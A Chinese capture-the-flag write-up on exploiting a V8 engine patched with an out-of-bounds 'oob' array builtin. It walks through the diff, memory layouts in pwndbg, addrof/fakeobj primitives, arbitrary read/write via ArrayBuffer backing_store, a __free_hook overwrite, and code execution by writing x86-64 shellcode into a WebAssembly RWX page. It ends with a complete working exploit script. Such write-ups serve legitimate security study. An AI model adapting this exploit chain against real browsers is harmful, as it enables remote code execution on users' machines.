大概是入门级别的一次分析(取自*CTF中的OOB。orz
拿到一个diff
:
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
Builtins::kArrayPrototypeCopyWithin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);
SimpleInstallFunction(isolate_, proto, "find",
Builtins::kArrayPrototypeFind, 1, false);
SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
return *final_length;
}
} // namespace
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}
BUILTIN(ArrayPush) {
HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
/* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \
TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
+ CPP(ArrayOob) \
\
/* ArrayBuffer */ \
/* ES #sec-arraybuffer-constructor */ \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Receiver();
case Builtins::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ case Builtins::kArrayOob:
+ return Type::Receiver();
// ArrayBuffer functions.
case Builtins::kArrayBufferIsView:
看新加的oob
函数就行(虽然我也看不太懂写的是个啥玩楞2333。里面的read
和write
注释,还有直接取了length
可以大概意识到是一个越界读写的漏洞。
a.oob()
就是将越界的首个8字节给读出,a.oob(1)
就是将1
写入越界的首个8字节。
那么越界读写就好办了,先测试一下看看:
➜ x64.release git:(6dc88c1) ✗ ./d8
V8 version 7.5.0 (candidate)
d8> a = [1,2,3,4]
[1, 2, 3, 4]
d8> a.oob()
4.42876206109e-311
因为v8中的数以浮点数的形式显示,所以先写好浮点数与整数间的转化原语函数:
var buff_area = new ArrayBuffer(0x10);
var fl = new Float64Array(buff_area);
var ui = new BigUint64Array(buff_area);
function ftoi(floo){
fl[0] = floo;
return ui[0];
}
function itof(intt){
ui[0] = intt;
return fl[0];
}
function tos(data){
return "0x"+data.toString(16);
}
上手调试,先看看一个数组的排布情况:
var a = [0x1000000,2,3,4];
pwndbg> x/10xg 0x101d1f8d0069-1
0x101d1f8d0068: 0x00000a9abe942d99 0x000012a265ac0c71 --> JSArray
0x101d1f8d0078: 0x0000101d1f8cf079 0x0000000400000000
0x101d1f8d0088: 0x0000000000000000 0x0000000000000000
0x101d1f8d0098: 0x0000000000000000 0x0000000000000000
0x101d1f8d00a8: 0x0000000000000000 0x0000000000000000
pwndbg> x/10xg 0x0000101d1f8cf079-1
0x101d1f8cf078: 0x000012a265ac0851 0x0000000400000000 --> FixedArray
0x101d1f8cf088: 0x0100000000000000 0x0000000200000000
0x101d1f8cf098: 0x0000000300000000 0x0000000400000000
0x101d1f8cf0a8: 0x000012a265ac0851 0x0000005c00000000
0x101d1f8cf0b8: 0x0000000000000000 0x0000006100000000
所以此时的a.oob()
所泄漏的应该是0x000012a265ac0851
的double形式。但是我们无法知道0x000012a265ac0851
是什么内容,不可控。那么我们换一个数组,看以下数组情况:
var a = [1.1,2.2,3.3,4.4];
pwndbg> x/10xg 0x0797a34100c9-1
0x797a34100c8: 0x00001c07e15c2ed9 0x00000df4ef880c71 --> JSArray
0x797a34100d8: 0x00000797a3410099 0x0000000400000000
0x797a34100e8: 0x0000000000000000 0x0000000000000000
0x797a34100f8: 0x0000000000000000 0x0000000000000000
0x797a3410108: 0x0000000000000000 0x0000000000000000
pwndbg> x/10xg 0x00000797a3410099-1
0x797a3410098: 0x00000df4ef8814f9 0x0000000400000000 --> FixedArray
0x797a34100a8: 0x3ff199999999999a 0x400199999999999a
0x797a34100b8: 0x400a666666666666 0x401199999999999a
0x797a34100c8: 0x00001c07e15c2ed9 0x00000df4ef880c71 --> JSArray
0x797a34100d8: 0x00000797a3410099 0x0000000400000000
我们可以看见FixedArray
和JSArray
是紧邻的,所以a.oob()
泄漏的是0x00001c07e15c2ed9
,即JSArray
的map
值(PACKED_DOUBLE_ELEMENTS
)。这样我们就好构造利用了。
假设我们有一个浮点型的数组和一个对象数组,我们先用上面所说的a.oob()
泄漏各自的map
值,在用我们的可写功能,将浮点型数组的map
写入对象数组的map
,这样对象数组中所存储的对象地址就被当作了浮点值,因此我们可以泄漏任意对象的地址。
相同的,将对象数组的map
写入浮点型数组的map
,那么浮点型数组中所存储的浮点值就会被当作对象地址来看待,所以我们可以构造任意地址的对象。
先得到两个类型的map
:
var obj = {"A":0x100};
var obj_all = [obj];
var array_all = [1.1,2,3];
var obj_map = obj_all.oob(); //obj_JSArray_map
var float_array_map = array_all.oob(); //float_JSArray_map
再写出泄漏和构造的两个函数:
function leak_obj(obj_in){ //泄漏对象地址
obj_all[0] = obj_in;
obj_all.oob(float_array_map);
let leak_obj_addr = obj_all[0];
obj_all.oob(obj_map);
return ftoi(leak_obj_addr);
}
function fake_obj(obj_in){ //构造地址对象
array_all[0] = itof(obj_in);
array_all.oob(obj_map);
let fake_obj_addr = array_all[0];
array_all.oob(float_array_map);
return fake_obj_addr;
}
得到了以上的泄漏和构造之后我们想办法将利用链扩大,构造出任意读写的功能。
先构造一个浮点型数组:
var test = [7.7,1.1,1,0xfffffff];
再泄漏该数组地址:
leak_obj(test);
这样我们可以得到数组的内存地址,此时数组中的情况:
pwndbg> x/20xg 0x2d767fbd0019-1-0x30
0x2d767fbcffe8: 0x000030a6f3b014f9 0x0000000400000000 --> FixedArray
0x2d767fbcfff8: 0x00003207dce82ed9 0x3ff199999999999a
0x2d767fbd0008: 0x3ff0000000000000 0x41affffffe000000
0x2d767fbd0018: 0x00003207dce82ed9 0x000030a6f3b00c71 --> JSArray
0x2d767fbd0028: 0x00002d767fbcffe9 0x0000000400000000
我们可以利用构造地址对象把0x2d767fbcfff8
处伪造为一个JSArray
对象,我们将test[0]
写为浮点型数组的map
即可。这样,0x2d767fbcfff8-0x2d767fbd0018
的32字节就是JSArray
,我们再在0x2d767fbd0008
任意写一个地址,我们就能达到任意写的目的。比如我们将他写为0x2d767fbcffc8
,那么0x2d767fbcffc8
处就是伪造的FixedArray
,0x2d767fbcffc8+0x10
处就为elements
的内容,把伪造的对象记为fake_js
,那么执行:
fake_js[0] = 0x100;
即把0x100复制给0x2d767fbcffc8+0x10
处。
任意写就很简单了,就是:
console.log(fake_js[0]);
取出数组内容即可。
那么接下来写构造出来的任意读写函数:
function write_all(read_addr,read_data){
let test_read = fake_obj(leak_obj(tt)-0x20n);
tt[2] = itof(read_addr-0x10n);
test_read[0] = itof(read_data);
}
function read_all(write_addr){
let test_write = fake_obj(leak_obj(tt)-0x20n);
tt[2] = itof(write_addr-0x10n);
return ftoi(test_write[0]);
}
有了任意读写之后就好利用了,可以用pwn
中的常规思路来后续利用:
__free_hook
__free_hook
后续在覆写__free_hook
的过程中,会发现覆写不成功(说是浮点数组处理7f
高地址的时候会有变换。
所以这里需要改写一下任意写,这里我们就需要利用ArrayBuffer
的backing_store
去利用任意写:
先新建一块写区域:
var buff_new = new ArrayBuffer(0x20);
var dataview = new DataView(buff_new);
%DebugPrint(buff_new);
这时候写入:
dataview.setBigUint64(0,0x12345678,true);
在ArrayBuffer
中的backing_store
字段中会发现:
pwndbg> x/10xg 0x029ce8f500a9-1
0x29ce8f500a8: 0x00002f1fa5c821b9 0x00002cb659b80c71
0x29ce8f500b8: 0x00002cb659b80c71 0x0000000000000020
0x29ce8f500c8: 0x000055555639fe70 --> backing_store 0x0000000000000002
0x29ce8f500d8: 0x0000000000000000 0x0000000000000000
0x29ce8f500e8: 0x00002f1fa5c81719 0x00002cb659b80c71
pwndbg> x/10xg 0x000055555639fe70
0x55555639fe70: 0x0000000012345678 0x0000000000000000
0x55555639fe80: 0x0000000000000000 0x0000000000000000
0x55555639fe90: 0x0000000000000000 0x0000000000000041
0x55555639fea0: 0x000055555639fe10 0x000000539d1ea015
0x55555639feb0: 0x0000029ce8f500a9 0x000055555639fe70
因此,只要我们先将backing_store
改写为我们所想要写的地址,再利用dataview的写入功能即可完成任意写:
function write_dataview(fake_addr,fake_data){
let buff_new = new ArrayBuffer(0x30);
let dataview = new DataView(buff_new);
let leak_buff = leak_obj(buff_new);
let fake_write = leak_buff+0x20n;
write_all(fake_write,fake_addr);
dataview.setBigUint64(0,fake_data,true);
}
而后就可以按照正常流程来读写利用了。
这里就介绍一种在浏览器中比较稳定利用的一个方式,利用wasm
来劫持程序流。
在v8
中,可以直接执行wasm
中的字节码。有一个网站可以在线将C语言直接转换为wasm并生成JS调用代码:https://wasdk.github.io/WasmFiddle
。
左侧是c语言,右侧是js
代码,选Code Buffer
模式,点build
编译,左下角生成的就是wasm code
。
有限的是c语言部分只能写一些很简单的return
功能。多了赋值等操作就会报错。但是也足够了。
将上面生成的代码测试一下:
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var f = wasmInstance.exports.main;
var leak_f = leak_obj(f);
//console.log('0x'+leak_f.toString(16));
console.log(f());
%DebugPrint(test);
%SystemBreak();
会得到42
的结果,那么我们很容易就能想到,如果用任意写的功能,将wasm
中的可执行区域写入shellcode
呢?
我们需要找到可执行区域的字段。
直接给出字段:
Function–>shared_info–>WasmExportedFunctionData–>instance
在空间中的显示:
Function:
pwndbg> x/10xg 0x144056c21f31-1
0x144056c21f30: 0x00002ab4903c4379 0x00003de1f2ac0c71
0x144056c21f40: 0x00003de1f2ac0c71 0x0000144056c21ef9 --> shared_info
0x144056c21f50: 0x0000144056c01869 0x000001a263740699
0x144056c21f60: 0x00001defa6dc2001 0x00003de1f2ac0bc1
0x144056c21f70: 0x0000000400000000 0x0000000000000000
shared_info:
pwndbg> x/10xg 0x0000144056c21ef9-1
0x144056c21ef8: 0x00003de1f2ac09e1 0x0000144056c21ed1 --> WasmExportedFunctionData
0x144056c21f08: 0x00003de1f2ac4ae1 0x00003de1f2ac2a39
0x144056c21f18: 0x00003de1f2ac04d1 0x0000000000000000
0x144056c21f28: 0x0000000000000000 0x00002ab4903c4379
0x144056c21f38: 0x00003de1f2ac0c71 0x00003de1f2ac0c71
WasmExportedFunctionData:
pwndbg> x/10xg 0x0000144056c21ed1-1
0x144056c21ed0: 0x00003de1f2ac5879 0x00001defa6dc2001
0x144056c21ee0: 0x0000144056c21d39 --> instance 0x0000000000000000
0x144056c21ef0: 0x0000000000000000 0x00003de1f2ac09e1
0x144056c21f00: 0x0000144056c21ed1 0x00003de1f2ac4ae1
0x144056c21f10: 0x00003de1f2ac2a39 0x00003de1f2ac04d1
instance+0x88:
pwndbg> telescope 0x0000144056c21d39-1+0x88
00:0000│ 0x144056c21dc0 —▸ 0x27860927e000 ◂— movabs r10, 0x27860927e260 /* 0x27860927e260ba49 */ --> 可执行地址
01:0008│ 0x144056c21dc8 —▸ 0x2649b9fd0251 ◂— 0x7100002ab4903c91
02:0010│ 0x144056c21dd0 —▸ 0x2649b9fd0489 ◂— 0x7100002ab4903cad
03:0018│ 0x144056c21dd8 —▸ 0x144056c01869 ◂— 0x3de1f2ac0f
04:0020│ 0x144056c21de0 —▸ 0x144056c21e61 ◂— 0x7100002ab4903ca1
05:0028│ 0x144056c21de8 —▸ 0x3de1f2ac04d1 ◂— 0x3de1f2ac05
pwndbg> vmmap 0x27860927e000
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x27860927e000 0x27860927f000 rwxp 1000 0
可得知0x144056c21dc0
处的0x27860927e000
为可执行区域,那么只需要将0x144056c21dc0
处的内容读取出来,在将shellcode
写入读取出来的地址处即可完成程序流劫持:
var data1 = read_all(leak_f+0x18n);
var data2 = read_all(data1+0x8n);
var data3 = read_all(data2+0x10n);
var data4 = read_all(data3+0x88n);
//console.log('0x'+data4.toString(16));
let buff_new = new ArrayBuffer(0x100);
let dataview = new DataView(buff_new);
let leak_buff = leak_obj(buff_new);
let fake_write = leak_buff+0x20n;
write_all(fake_write,data4);
var shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];
for(var i=0;i<shellcode.length;i++){
dataview.setUint32(4*i,shellcode[i],true);
}
f();
var buff_area = new ArrayBuffer(0x10);
var fl = new Float64Array(buff_area);
var ui = new BigUint64Array(buff_area);
function ftoi(floo){
fl[0] = floo;
return ui[0];
}
function itof(intt){
ui[0] = intt;
return fl[0];
}
function tos(data){
return "0x"+data.toString(16);
}
var obj = {"A":1};
var obj_all = [obj];
var array_all = [1.1,2,3];
var obj_map = obj_all.oob(); //obj_JSArray_map
var float_array_map = array_all.oob(); //float_JSArray_map
function leak_obj(obj_in){
obj_all[0] = obj_in;
obj_all.oob(float_array_map);
let leak_obj_addr = obj_all[0];
obj_all.oob(obj_map);
return ftoi(leak_obj_addr);
}
function fake_obj(obj_in){
array_all[0] = itof(obj_in);
array_all.oob(obj_map);
let fake_obj_addr = array_all[0];
array_all.oob(float_array_map);
return fake_obj_addr;
}
var tt = [float_array_map,1.1,1,0xfffffff];
function write_all(read_addr,read_data){
let test_read = fake_obj(leak_obj(tt)-0x20n);
tt[2] = itof(read_addr-0x10n);
test_read[0] = itof(read_data);
}
function read_all(write_addr){
let test_write = fake_obj(leak_obj(tt)-0x20n);
tt[2] = itof(write_addr-0x10n);
return ftoi(test_write[0]);
}
//console.log(tos(read_all(leak_obj(tt)-0x20n)));
//write_all(leak_obj(tt)-0x20n,0xffffffn);
function sj_leak_test_base(leak_addr){
leak_addr -= 1n;
while(true){
let data = read_all(leak_addr+1n);
let data1 = data.toString(16).padStart(16,'0');
let data2 = data1.substr(13,3);
//console.log(toString(data));
//console.log(data1);
//console.log(data2);
//%SystemBreak();
if(data2 == '2c0' && read_all(data+1n).toString(16) == "ec834853e5894855"){
//console.log('0x'+data.toString(16));
return data;
}
leak_addr -= 8n;
}
}
function write_dataview(fake_addr,fake_data){
let buff_new = new ArrayBuffer(0x30);
let dataview = new DataView(buff_new);
let leak_buff = leak_obj(buff_new);
let fake_write = leak_buff+0x20n;
write_all(fake_write,fake_addr);
dataview.setBigUint64(0,fake_data,true);
}
function wd_leak_test_base(test){
let test_fake = leak_obj(test.constructor);
test_fake += 0x30n;
test_fake = read_all(test_fake)+0x40n;
test_fake = (read_all(test_fake)&0xffffffffffff0000n)>>16n;
return test_fake;
}
function write_system_addr(leak_test_addr){
var elf_base = leak_test_addr - 11359456n;
console.log("[*] leak elf base success: 0x"+elf_base.toString(16));
var puts_got = elf_base + 0xD9A3B8n;
puts_got = read_all(puts_got+1n);
console.log("[*] leak puts got success: 0x"+puts_got.toString(16));
var libc_base = puts_got - 456336n;
console.log("[*] leak libc base success: 0x"+libc_base.toString(16));
var free_hook = libc_base + 3958696n;
console.log("[*] leak __free_hook success: 0x"+free_hook.toString(16));
var one_gadget = libc_base + 0x4526an;
console.log("[*] leak one_gadget success: 0x"+one_gadget.toString(16));
var system_addr = libc_base + 283536n;
write_dataview(free_hook,system_addr);
}
function get_shell(){
var bufff = new ArrayBuffer(0x10);
var dataa = new DataView(bufff);
dataa.setBigUint64(0,0x0068732f6e69622fn,true);
}
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var f = wasmInstance.exports.main;
var leak_f = leak_obj(f);
//console.log('0x'+leak_f.toString(16));
//console.log(f());
//%DebugPrint(f);
//%SystemBreak();
var data1 = read_all(leak_f+0x18n);
var data2 = read_all(data1+0x8n);
var data3 = read_all(data2+0x10n);
var data4 = read_all(data3+0x88n);
//console.log('0x'+data4.toString(16));
let buff_new = new ArrayBuffer(0x100);
let dataview = new DataView(buff_new);
let leak_buff = leak_obj(buff_new);
let fake_write = leak_buff+0x20n;
write_all(fake_write,data4);
var shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];
for(var i=0;i<shellcode.length;i++){
dataview.setUint32(4*i,shellcode[i],true);
}
//dataview.setBigUint64(0,0x2fbb485299583b6an,true);
//dataview.setBigUint64(8,0x5368732f6e69622fn,true);
//dataview.setBigUint64(16,0x050f5e5457525f54n,true);
f();